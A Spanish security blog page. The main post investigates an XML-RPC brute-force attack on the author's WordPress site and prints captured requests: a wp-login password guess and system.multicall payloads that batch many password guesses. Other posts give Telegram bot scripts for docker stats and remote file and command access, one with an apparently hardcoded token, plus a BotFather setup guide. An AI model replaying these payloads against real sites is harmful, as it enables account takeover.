Share

Los humanos somos gente de costumbres y salvo un “efecto Meneame” que nos comimos un día, el resto de visitas al blog sigue un patron bastante simple y sin sorpresas.

Por eso el otro día mi sorpresa fue mayuscula al ver esto en las estadisticas del Observatorio de Seguridad.

AtaqueBlog-estadisticas

Obviamente algo raro esaba pasando. El modulo de estadisticas no es precisamente para hacer un forense, así que me fui directamente a los logs.

 

El resultado fue facil de localizar, pero poco gratificante.. miles de peticiones con este formato…

XX.XX.XX.XXX – – [24/Jun/2016:19:46:27 +0000] “POST /xmlrpc.php HTTP/1.0” 200 58340 “-” “-“

La problematica es que por defecto apache, siguiendo ls recomendaciones del standar, no almacena el contenido de las peticiones POST. Asi que , me toco tunear la configuracion. Para ello utilizaremos el modulo dump_io mediante el siguiente comando:

a2enmod dump_io

 

 

Luego, cambiamos la configuracion, en mi caso del ErrorLog, para utilizar el modulo. Comentamos la linea que venía y lo dejamos asi:

# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, …, trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# “LogLevel info ssl:warn”
#
#LogLevel warn
DumpIOInput On
LogLevel dumpio:trace7

 

Reiniciamos el apache y ya lo tenemos… ahora a esperar. Pasados unos dias.. otro pico en los accesos, pero ahora tenemos todos los datos, aunque hay que decir que el log queda un poco infernal

 

[Sun Jul 10 12:05:05.332861 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(103): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): POST /xmlrpc.php HTTP/1.0\r\n
[Sun Jul 10 12:05:05.332867 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(140): [client 37.59.52.170:40845] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sun Jul 10 12:05:05.332868 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(63): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): 39 bytes
[Sun Jul 10 12:05:05.332870 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(103): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): Host: www.observatoriodeseguridad.com\r\n
[Sun Jul 10 12:05:05.332872 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(140): [client 37.59.52.170:40845] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sun Jul 10 12:05:05.332873 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(63): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): 49 bytes
[Sun Jul 10 12:05:05.332875 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(103): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): Content-Type: application/x-www-form-urlencoded\r\n
[Sun Jul 10 12:05:05.332877 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(140): [client 37.59.52.170:40845] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes[Sun Jul 10 12:05:05.332878 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(63): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): 21 bytes
[Sun Jul 10 12:05:05.332880 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(103): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): Content-Length: 101\r\n
[Sun Jul 10 12:05:05.332881 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(140): [client 37.59.52.170:40845] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sun Jul 10 12:05:05.332882 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(63): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): 2 bytes
[Sun Jul 10 12:05:05.332884 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(103): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): \r\n
[Sun Jul 10 12:05:05.333222 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(140): [client 37.59.52.170:40845] mod_dumpio: dumpio_in [readbytes-blocking] 101 readbytes
[Sun Jul 10 12:05:05.333229 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(63): [client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): 101 bytes[Sun Jul 10 12:05:05.333231 2016] [dumpio:trace7] [pid 29999] mod_dumpio.c(103):
[client 37.59.52.170:40845] mod_dumpio: dumpio_in (data-HEAP): <?xml version=”
1.0″?><methodCall><methodName>demo.sayHello</methodName><params></params></metho
dCall>

 

Esta es la primera peticion que mandan, basicamente una prueba para lo que viene despues, pero ya nos hace que sea mas comodo parsearlo de alguna manera para dejar solo lo interesante:

Un poco de bash-fu y ya me encuentro un par de sorpresitas. El comando que ejecuto es:

cat error.log | cut -f8- -d’:’ | egrep -v ‘ [0-9]+ bytes$’ | grep -v ‘^$’ | cut -c2- | sed ‘s/\\r\\n//’ | less

 

Y con eso saco las peticiones mas o menos en crudo… mira que majos los chinos, estan intentando sacar el password del blog… (peticion al wp-login.php) y lo otro parece mas bien algun tipo de peticion de prueba..

POST /wp-login.php HTTP/1.1
Referer: http://www.observatoriodeseguridad.com/wp-login.php
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: www.observatoriodeseguridad.com
Content-Length: 21
Cache-Control: no-cachelog=admin&pwd=7654321
POST /xmlrpc.php HTTP/1.0
Host: www.observatoriodeseguridad.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 101<?xml version=”1.0″?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>

Efectivamente.. lo serio viene despues.. miles de peticiones como esta:

POST /xmlrpc.php HTTP/1.0
Host: www.observatoriodeseguridad.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 83479<?xml version=”1.0″?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>\n<value><struct><member><name>methodName</name><value><string>wp.getCategories</string></value></member><member><name>params</name><value><array><data><value><string></string></value><value><string>observatoriodeseguridad</string></value><value><string>123456</string></value></data></array></value></member></struct></value>\n<value><struct><member><name>methodName</name><value><string>wp.getCategories</string></value></member><member><name>params</name><value><array><data><value><string></string></value><value><string>observatoriodeseguridad</string></value><value><string>password</string></value></data></array></value></member></struct></value>\n<value><struct><member><name>methodName</name><value><string>wp.getCategories</string></value></member><member><name>params</name><value><array><data><value><string></string></value><value><string>observatoriodeseguridad</string></value><value><string>12345678</string></value></data></array></value></member></struct></value>\n<value><struct><member><name>methodName</name><value><string>wp.getCategories</string></value></member><member><name>params</name><value><array><data><value><string></string></value>

No la voy a pegar aqui entera, pero creo que ya os haceis una idea. en una sola peticion web, agrupan numerosos intentos de combinaciones login/password.

Me he puesto a sacar todas las combinaciones de los logs de este ataque..

Y me salen unas 400.000!!!

Asi que mucho cuidadito con lo que poneis de password en vuestro blog 🙂

Share

Os dejo una aplicación muy chorra para obtener el estado de tus dockers a través de un bot muy simple de telegram:

 

[code language="python"]
#!/usr/bin/env python
# -*- coding: utf-8 -*-


from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import logging
import os

# Enable logging
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
 level=logging.INFO)

logger = logging.getLogger(__name__)


def help(bot, update):
 bot.sendMessage(update.message.chat_id, text='Help!')


def stats(bot, update):
 bot.sendMessage(update.message.chat_id, text='ahora lo programo')
 os.system('docker stats --no-stream > /tmp/stats.tmp')

 filesize=os.path.getsize('/tmp/stats.tmp')
 if filesize > 0:
 fd = open('/tmp/stats.tmp')
 string=fd.read()
 bot.sendMessage(update.message.chat_id,text=string)
 fd.close()
 os.system('rm /tmp/stats.tmp')

def error(bot, update, error):
 logger.warn('Update "%s" caused error "%s"' % (update, error))


def main():
 # Create the EventHandler and pass it your bot's token.
 updater = Updater("740925671:tyhejsio2hustqmckopsr567a-F0k23GG9E")

 # Get the dispatcher to register handlers
 dp = updater.dispatcher




 # on different commands - answer in Telegram
 dp.add_handler(CommandHandler("stats", stats))

 # log all errors
 dp.add_error_handler(error)

 # Start the Bot
 updater.start_polling()

 # Run the bot until the you presses Ctrl-C or the process receives SIGINT,
 # SIGTERM or SIGABRT. This should be used most of the time, since
 # start_polling() is non-blocking and will stop the bot gracefully.
 updater.idle()


if __name__ == '__main__':
 main()

[/code]

 

Share

En esta entrada veremos como generar un script en python para interactuar con nuestros servidores vía Telegram:

Instalar las librerías que se necesitan:

pip install future

pip install urllib3

pip install certifi

pip install python-telegram-bot

 

El template sería algo así:

 
#
# Code to interact with your server.
#
import telegram
import sys
import logging
import os


bot = telegram.Bot("API")
#chat_id=_NUMERO_



def log_update(update):
  message = update.message.text.encode('utf-8')
  bot_chat_id = update.message.chat.id
  update_id = update.update_id
  first_name = update.message.from_user.first_name
  last_name = update.message.from_user.last_name
  from_id = update.message.from_user.id

  if logging.getLogger().getEffectiveLevel() == logging.DEBUG:
    logging.debug('Update %d from %s %s (%d) in chat %d received:', update_id,first_name, last_name, from_id, bot_chat_id)
    logging.debug(update)
  else:
    logging.info('Update %d from %s %s (%d) in chat %d: Received "%s"', update_id,first_name, last_name, from_id, bot_chat_id, message)


try:
    LAST_UPDATE_ID = bot.getUpdates()[-1].update_id
except IndexError:
    LAST_UPDATE_ID = None

while(True):


    for update in bot.getUpdates(offset=LAST_UPDATE_ID, timeout=30):
      bot_chat_id = update.message.chat.id
      message = update.message.text.encode('utf-8')
      update_id = update.update_id
      log_update(update)
      if chat_id >= 0 and chat_id != bot_chat_id:
        logging.warning('Unauthorized chat_id %d found. Update ignored.', bot_chat_id)
        continue

#command help
      if '/help' == message:
        status = "/GetFile - Get a file.\n/ExecCommand - Exec a pre set command.\n/OtherCommands - Send a Message"
        bot.sendMessage(chat_id = bot_chat_id, text=status, parse_mode=telegram.ParseMode.MARKDOWN)

#command NewPasswordsFile

      elif '/GetFile' == message:
        fd=open('/path/to/file.txt','r')
        bot.sendDocument(chat_id=bot_chat_id, document=fd)
        fd.close()

      elif '/ExecCommand' == message:
        os.system('echo command to exec > /path/to/file')

      elif '/OtherCommands' == message:
        bot.sendMessage(chat_id=bot_chat_id,text='Ideas are welcome :P, use /Suggest idea to submit crazy features.')

      else:
        #bot.sendMessage(chat_id=bot_chat_id,text='Welcome to My bot. Accepted commands:\n\n/help - Info aobut commands.')
        os.system('echo x > /dev/null')

      LAST_UPDATE_ID = update_id + 1
   

A disfrutarlo 🙂

Share

I. Creando bot de telegram

Hay múltiples posts donde este proceso está bastante bien documentado pero creo que es útil tener todos los pasos aquí. Y como se trata de facilitar el proceso, describo el proceos yendo al grano.

I.a Desde el buscador de Telegram localizad a @BotFather, un bot para controlarlos a todos.

BotFather para gestionar Bots en Telegram

BotFather permite gestionar Bots en Telegram

I.b Comenzamos a interacturar con @BotFather con el comando /start

El comando /start te permite hablar con BotFather

El comando /start te permite hablar con BotFather

I.c Usamos el comando /newbot para crear un nuevo bot

Elige nombre para el bot y a continuación el nombre de usuario (éste último debe terminar en ‘bot’, ejemplo Scada_bot)

Si todo va bien, obtendremos nuestro token para interactuar con la API de Telegram

Obteniendo un Token para interactuar con la API HTTP de Telegram

Obteniendo un Token para interactuar con la API HTTP de Telegram

Tan sencillo como esto! Ya tienes un bot en telegran y su token para interacturar con la API HTTP.